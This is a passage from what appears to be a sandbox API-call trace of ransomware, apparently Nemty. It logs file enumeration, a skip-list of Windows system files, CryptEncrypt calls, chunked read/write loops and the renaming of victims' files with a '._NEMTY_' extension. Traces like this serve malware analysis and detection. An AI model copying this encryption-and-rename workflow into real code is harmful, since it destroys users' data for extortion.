lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.995] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.995] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.014] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.033] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.087] CloseHandle (hObject=0xffffffff) returned 0 [0061.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0061.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0061.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0061.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0061.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0061.087] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png._nemty_kgobjgd_")) returned 0 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.087] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0061.087] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0061.087] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0061.088] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0061.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0061.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0061.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0061.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0061.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0061.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0061.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0061.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0061.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0061.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0061.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0061.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0061.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0061.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0061.089] Sleep (dwMilliseconds=0x5) [0061.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8112e90, dwHighDateTime=0x1d561e7)) [0061.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8112e90, dwHighDateTime=0x1d561e7)) [0061.103] GetLastError () returned 0x5 [0061.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.103] GetLastError () returned 0x5 [0061.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.103] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.103] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.104] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0061.104] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="SO/Tx6P74/EjOPfSTTzzimrA5TowqND6Wi4eXjOJD6eybYT0Mtx2HqMs8k2ZhuWC\r\ni3Xo6ory7oRt8fcYRC7pIUim5TgJSJu/hKuik4ksVTP1w5FexoR7WOxrZDyujhjh\r\nU+hDnmjp0OiWPOkf/XbBzRNb+422vVdfh7kgnmS+kD0m/DyrUoBSJWIGPxSHon/u\r\nQUnB4cno3lnI+rKM3PBJeP6frSMcyH+dqOT6X65+658gaqLkml3NxZhivis/Ep/g\r\n0lGOhGJ3KQexfTj26BwVsmoGhf+QCoxUdaJPDH40PKnMnIgbQ5HrdRvw+daXeL1R\r\n1h4iNOEnr0ywtbWUt567Kg==\r\n", pcchString=0x653e91c) returned 1 [0061.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0061.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0061.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.105] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 